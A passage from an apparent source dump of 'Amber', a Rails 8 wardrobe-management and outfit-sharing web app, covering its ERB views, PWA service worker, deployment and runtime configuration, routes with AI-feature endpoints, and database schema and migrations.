|f| %&gt;\n  &lt;%= render \"shared/errors\", object: @post %&gt;\n  \n\n    &lt;%= f.label :body, \"What are you wearing?\" %&gt;\n    &lt;%= f.text_area :body, rows: 3, maxlength: 500, placeholder: \"Share your outfit\u2026\" %&gt;\n  \n  \n\n    &lt;%= f.label :outfit_id, \"Tag an outfit (optional)\" %&gt;\n    &lt;%= f.select :outfit_id, Current.user.outfits.map { |o| [o.name, o.id] }, { include_blank: \"\u2014\" } %&gt;\n  \n  \n\n    &lt;%= f.label :item_id, \"Tag an item (optional)\" %&gt;\n    &lt;%= f.select :item_id, Current.user.items.map { |i| [i.title, i.id] }, { include_blank: \"\u2014\" } %&gt;\n  \n  \n&lt;%= f.submit \"Post\", class: \"btn btn--primary\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/posts/show.html.erb`\n```erb\n&lt;%= turbo_stream_from @post %&gt;\n&lt;%= render @post %&gt;\n&lt;%= link_to 'Back', posts_path %&gt;\n```\n\n## `rails/amber/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"Amber\",\n  \"short_name\": \"Amber\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\"\n    }\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style.\",\n  \"theme_color\": \"#1a1a1a\",\n  \"background_color\": \"#1a1a1a\"\n}\n```\n\n## `rails/amber/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE   = \"amber-v2\"\nconst OFFLINE = \"/offline\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\", OFFLINE])))\n  self.skipWaiting()\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim()\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res\n    })))\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(OFFLINE)))\n  }\n})\n```\n\n## `rails/amber/app/views/registrations/new.html.erb`\n```erb\n\n\n  \nCreate account\n  &lt;%= form_with model: User.new, url: registration_path do |f| %&gt;\n    \n\n      &lt;%= f.label :email_address, \"Email\" %&gt;\n      &lt;%= f.email_field :email_address, autofocus: true, autocomplete: \"email\" %&gt;\n    \n    \n\n      &lt;%= f.label :password %&gt;\n      &lt;%= f.password_field :password, autocomplete: \"new-password\" %&gt;\n    \n    \n\n      &lt;%= f.label :password_confirmation, \"Confirm password\" %&gt;\n      &lt;%= f.password_field :password_confirmation, autocomplete: \"new-password\" %&gt;\n    \n    \n\n      &lt;%= f.submit \"Create account\", class: \"btn btn--primary\" %&gt;\n    \n    \n&lt;%= link_to \"Already have an account? Sign in\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/sessions/new.html.erb`\n```erb\n\n\n  \nSign in\n  &lt;%= form_with url: session_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: f.object if f.object.respond_to?(:errors) %&gt;\n    \n\n      &lt;%= f.label :email_address, \"Email\" %&gt;\n      &lt;%= f.email_field :email_address, autofocus: true, autocomplete: \"email\" %&gt;\n    \n    \n\n      &lt;%= f.label :password %&gt;\n      &lt;%= f.password_field :password, autocomplete: \"current-password\" %&gt;\n    \n    \n\n      &lt;%= f.submit \"Sign in\", class: \"btn btn--primary\" %&gt;\n    \n    \n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/shared/_errors.html.erb`\n```erb\n&lt;% if object.errors.any? %&gt;\n  \n\n    &lt;% object.errors.full_messages.each do |msg| %&gt;\n      \n&lt;%= msg %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/shared/_flash.html.erb`\n```erb\n&lt;% flash.each do |type, msg| %&gt;\n  \n&lt;%= msg %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/shared/_logo.html.erb`\n```erb\n\n  \n    \n    \n      \n        amber\u00ae\n      \n    \n  \n  \n    \n      \n\n    \n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \n\n```\n\n## `rails/amber/app/views/shared/_pagination.html.erb`\n```erb\n&lt;%= pagy_nav(pagy) if pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/amber/app/views/users/show.html.erb`\n```erb\n&lt;%= turbo_stream_from @user %&gt;\n\n\n  \n&lt;%= @user.email_address.split(\"@\").first %&gt;\n  \n&lt;%= @user.items.count %&gt; items \u00b7 &lt;%= @user.followers.count %&gt; followers \u00b7 &lt;%= @user.following.count %&gt; following\n  &lt;% if authenticated? &amp;&amp; Current.user != @user %&gt;\n    &lt;% if Current.user.following?(@user) %&gt;\n      &lt;%= button_to \"Unfollow\", unfollow_user_path(@user), method: :delete, class: \"btn\" %&gt;\n    &lt;% else %&gt;\n      &lt;%= button_to \"Follow\", follow_user_path(@user), method: :post, class: \"btn btn--primary\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n\nRecent items\n\n\n  &lt;% @items.each do |item| %&gt;\n    &lt;%= link_to item_path(item) do %&gt;\n      &lt;% if item.photos.attached? %&gt;\n        &lt;%= image_tag item.photos.first, alt: item.title %&gt;\n      &lt;% else %&gt;\n        \n&lt;%= item.category %&gt;\n      &lt;% end %&gt;\n      \n&lt;%= item.title %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n\nPosts\n&lt;%= render @posts %&gt;\n```\n\n## `rails/amber/app/views/wardrobe_items/_form.html.erb`\n```erb\n&lt;%= form_with model: wardrobe_item do |form| %&gt;\n  &lt;% if wardrobe_item.errors.any? %&gt;\n    &lt;%= tag.section role: \"alert\" do %&gt;\n      &lt;%= tag.h2 t(\"shared.errors\", count: wardrobe_item.errors.count, default: \"Please review the form\") %&gt;\n      &lt;%= tag.ul do %&gt;\n        &lt;% wardrobe_item.errors.full_messages.each do |message| %&gt;\n          &lt;%= tag.li message %&gt;\n        &lt;% end %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :item_id %&gt;\n    &lt;%= form.number_field :item_id, required: true %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :condition %&gt;\n    &lt;%= form.select :condition, WardrobeItem::CONDITIONS, include_blank: true %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :acquisition_date %&gt;\n    &lt;%= form.date_field :acquisition_date %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :notes %&gt;\n    &lt;%= form.text_area :notes, rows: 4, data: { controller: \"textarea-autogrow\" } %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= form.submit %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/wardrobe_items/edit.html.erb`\n```erb\n&lt;% content_for :title, t(\"amber.wardrobe.edit\", default: \"Edit wardrobe item\") %&gt;\n\n&lt;%= tag.section class: \"wardrobe-form\" do %&gt;\n  &lt;%= tag.h1 t(\"amber.wardrobe.edit\", default: \"Edit wardrobe item\") %&gt;\n  &lt;%= render \"form\", wardrobe_item: @wardrobe_item %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/wardrobe_items/index.html.erb`\n```erb\n&lt;% content_for :title, t(\"amber.wardrobe.title\", default: \"Wardrobe\") %&gt;\n\n&lt;%= tag.section class: \"wardrobe-items\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 t(\"amber.wardrobe.title\", default: \"Wardrobe\") %&gt;\n    &lt;%= link_to t(\"amber.wardrobe.add\", default: \"Add item\"), new_wardrobe_item_path %&gt;\n  &lt;% end %&gt;\n\n  &lt;% if @wardrobe_items.any? %&gt;\n    &lt;%= tag.div class: \"wardrobe-grid\" do %&gt;\n      &lt;% @wardrobe_items.each do |wardrobe_item| %&gt;\n        &lt;%= tag.article class: \"wardrobe-card\" do %&gt;\n          &lt;%= tag.h2 wardrobe_item.item&amp;.title || wardrobe_item.item&amp;.name || t(\"amber.wardrobe.untitled\", default: \"Untitled item\") %&gt;\n          &lt;%= tag.p wardrobe_item.condition if wardrobe_item.condition.present? %&gt;\n          &lt;%= tag.p wardrobe_item.notes if wardrobe_item.notes.present? %&gt;\n          &lt;%= link_to t(\"shared.view\", default: \"View\"), wardrobe_item_path(wardrobe_item) %&gt;\n        &lt;% end %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    &lt;%= tag.p t(\"amber.wardrobe.empty\", default: \"No wardrobe items yet.\") %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/wardrobe_items/new.html.erb`\n```erb\n&lt;% content_for :title, t(\"amber.wardrobe.new\", default: \"Add wardrobe item\") %&gt;\n\n&lt;%= tag.section class: \"wardrobe-form\" do %&gt;\n  &lt;%= tag.h1 t(\"amber.wardrobe.new\", default: \"Add wardrobe item\") %&gt;\n  &lt;%= render \"form\", wardrobe_item: @wardrobe_item %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_mailbox/engine\"\nrequire \"action_text/engine\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\nrequire \"rails/test_unit/railtie\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.1\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/amber/config/cable.yml`\n```yaml\n# Async adapter only works within the same process, so for manually triggering cable updates from a console,\n# and seeing results in the browser, you must do so from the web console (running inside the dev process),\n# not a terminal started via bin/rails console! Add \"console\" to any action or any ERB template view\n# to make the web console appear.\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: solid_cable\n  connects_to:\n    database:\n      writing: cable\n  polling_interval: 0.1.seconds\n  message_retention: 1.day\n```\n\n## `rails/amber/config/cache.yml`\n```yaml\ndefault: &amp;default\n  store_options:\n    # Cap age of oldest cache entry to fulfill retention policies\n    # max_age: &lt;%= 60.days.to_i %&gt;\n    max_size: &lt;%= 256.megabytes %&gt;\n    namespace: &lt;%= Rails.env %&gt;\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  database: cache\n  &lt;&lt;: *default\n```\n\n## `rails/amber/config/database.yml`\n```yaml\n# SQLite. Versions 3.8.0 and up are supported.\n#   gem install sqlite3\n#\n#   Ensure the SQLite 3 gem is defined in your Gemfile\n#   gem \"sqlite3\"\n#\ndefault: &amp;default\n  adapter: sqlite3\n  max_connections: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  &lt;&lt;: *default\n  database: storage/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n  &lt;&lt;: *default\n  database: storage/test.sqlite3\n\n# Store production database in the storage/ directory, which by default\n# is mounted as a persistent Docker volume in config/deploy.yml.\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: storage/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: storage/production_cache.sqlite3\n    migrations_paths: db/cache_migrate\n  queue:\n    &lt;&lt;: *default\n    database: storage/production_queue.sqlite3\n    migrations_paths: db/queue_migrate\n  cable:\n    &lt;&lt;: *default\n    database: storage/production_cable.sqlite3\n    migrations_paths: db/cable_migrate\n```\n\n## `rails/amber/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# If used with Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n#\n# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.\n#\n# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).\n#\n# proxy:\n#   ssl: true\n#   host: amber.brgen.no\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.4.9\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/amber/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"amber.brgen.no\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"amber.brgen.no\"]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/amber/config/falcon.rb`\n```ruby\n# frozen_string_literal: true\n\nload :rack, :supervisor\n\nhostname = File.basename(__dir__)\nport = ENV.fetch(\"PORT\", 61352).to_i\n\nrack hostname do\n  endpoint Async::HTTP::Endpoint.parse(\"http://0.0.0.0:\\#{port}\")\nend\n```\n\n## `rails/amber/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\n```\n\n## `rails/amber/config/initializers/requires.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"net/http\"\nrequire \"uri\"\nrequire \"json\"\n```\n\n## `rails/amber/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\n# This configuration file will be evaluated by Puma. The top-level methods that\n# are invoked here are part of Puma's configuration DSL. For more information\n# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.\n#\n# Puma starts a configurable number of processes (workers) and each process\n# serves each request in a thread from an internal thread pool.\n#\n# You can control the number of workers using ENV[\"WEB_CONCURRENCY\"]. You\n# should only set this value when you want to run 2 or more workers. The\n# default is already 1. You can set it to `auto` to automatically start a worker\n# for each available processor.\n#\n# The ideal number of threads per worker depends both on how much time the\n# application spends waiting for IO operations and on how much you wish to\n# prioritize throughput over latency.\n#\n# As a rule of thumb, increasing the number of threads will increase how much\n# traffic a given process can handle (throughput), but due to CRuby's\n# Global VM Lock (GVL) it has diminishing returns and will degrade the\n# response time (latency) of the application.\n#\n# The default is set to 3 threads as it's deemed a decent compromise between\n# throughput and latency for the average Rails application.\n#\n# Any libraries that use a connection pool or another resource pool should\n# be configured to provide at least as many connections as the number of\n# threads. This includes Active Record's `pool` parameter in `database.yml`.\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\n\n# Specifies the `port` that Puma will listen on to receive requests; default is 3000.\nport ENV.fetch(\"PORT\", 3000)\n\n# Allow puma to be restarted by `bin/rails restart` command.\nplugin :tmp_restart\n\n# Run the Solid Queue supervisor inside of Puma for single-server deployments.\nplugin :solid_queue if ENV[\"SOLID_QUEUE_IN_PUMA\"]\n\n# Specify the PID file. Defaults to tmp/pids/server.pid in development.\n# In other environments, only set the PID file if requested.\npidfile ENV[\"PIDFILE\"] if ENV[\"PIDFILE\"]\n```\n\n## `rails/amber/config/queue.yml`\n```yaml\ndefault: &amp;default\n  dispatchers:\n    - polling_interval: 1\n      batch_size: 500\n  workers:\n    - queues: \"*\"\n      threads: 3\n      processes: &lt;%= ENV.fetch(\"JOB_CONCURRENCY\", 1) %&gt;\n      polling_interval: 0.1\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  &lt;&lt;: *default\n```\n\n## `rails/amber/config/recurring.yml`\n```yaml\n# examples:\n#   periodic_cleanup:\n#     class: CleanSoftDeletedRecordsJob\n#     queue: background\n#     args: [ 1000, { batch_size: 500 } ]\n#     schedule: every hour\n#   periodic_cleanup_with_command:\n#     command: \"SoftDeletedRecord.due.delete_all\"\n#     priority: 2\n#     schedule: at 5am every day\n\nproduction:\n  clear_solid_queue_finished_jobs:\n    command: \"SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)\"\n    schedule: every hour at minute 12\n```\n\n## `rails/amber/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  resource :registration, only: %i[new create]\n\n  resource  :session\n  resources :passwords, param: :token\n\n  resources :items do\n    member do\n      post :spark_joy\n      post :declutter\n      post :wear\n    end\n    collection do\n      post :archive_seasonal\n      post :resurface_seasonal\n      get :shopping_list\n    end\n  end\n\n  resources :outfits do\n    collection { get :dressing_room }\n    member { post :like; patch :reorder; post :share; post :wear }\n  end\n\n  resources :planned_outfits, only: %i[index create destroy]\n\n  resources :posts, only: %i[index show new create destroy] do\n    member { post :like }\n    collection { get :feed }\n  end\n\n  resources :users, only: :show do\n    member { post :follow; delete :unfollow }\n  end\n\n  resources :declutter, only: :index, param: :id do\n    member do\n      get  :review\n      patch :update_review\n      post :move\n      post :challenge\n      post :complete_challenge\n      post :outcome\n      get  :last_chance\n    end\n  end\n\n  scope :ai do\n    post \"items/:id/analyze\", to: \"ai#analyze_item\", as: :ai_analyze_item\n    post \"items/:id/tag\", to: \"ai#tag_item\", as: :ai_tag_item\n    get \"outfits/suggest\", to: \"ai#suggest_outfits\", as: :ai_suggest_outfits\n    post \"outfits/generate\", to: \"ai#generate_outfit\", as: :ai_generate_outfit\n    get \"declutter\", to: \"ai#declutter_guide\", as: :ai_declutter\n    get \"capsule\", to: \"ai#capsule\", as: :ai_capsule\n    get \"palette\", to: \"ai#color_palette\", as: :ai_palette\n    get \"search\", to: \"ai#search\", as: :ai_search\n    get \"moodboard\", to: \"ai#mood_board\", as: :ai_mood_board\n    get \"occasions\", to: \"ai#occasion_map\", as: :ai_occasions\n    get \"style\", to: \"ai#style_profile\", as: :ai_style_profile\n    post \"style\", to: \"ai#style_profile\"\n    get \"pack\", to: \"ai#packing_list\", as: :ai_packing_list\n  end\n\n  root \"home#index\"\n  get 'manifest' =&gt; 'rails/pwa#manifest', as: :pwa_manifest\n  get 'service-worker' =&gt; 'rails/pwa#service_worker', as: :pwa_service_worker\n  get \"up\", to: \"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/amber/db/cable_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.1].define(version: 1) do\n  create_table \"solid_cable_messages\", force: :cascade do |t|\n    t.binary \"channel\", limit: 1024, null: false\n    t.binary \"payload\", limit: 536870912, null: false\n    t.datetime \"created_at\", null: false\n    t.integer \"channel_hash\", limit: 8, null: false\n    t.index [\"channel\"], name: \"index_solid_cable_messages_on_channel\"\n    t.index [\"channel_hash\"], name: \"index_solid_cable_messages_on_channel_hash\"\n    t.index [\"created_at\"], name: \"index_solid_cable_messages_on_created_at\"\n  end\nend\n```\n\n## `rails/amber/db/cache_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.2].define(version: 1) do\n  create_table \"solid_cache_entries\", force: :cascade do |t|\n    t.binary \"key\", limit: 1024, null: false\n    t.binary \"value\", limit: 536870912, null: false\n    t.datetime \"created_at\", null: false\n    t.integer \"key_hash\", limit: 8, null: false\n    t.integer \"byte_size\", limit: 4, null: false\n    t.index [\"byte_size\"], name: \"index_solid_cache_entries_on_byte_size\"\n    t.index [\"key_hash\", \"byte_size\"], name: \"index_solid_cache_entries_on_key_hash_and_byte_size\"\n    t.index [\"key_hash\"], name: \"index_solid_cache_entries_on_key_hash\", unique: true\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504180350_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504180352_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## 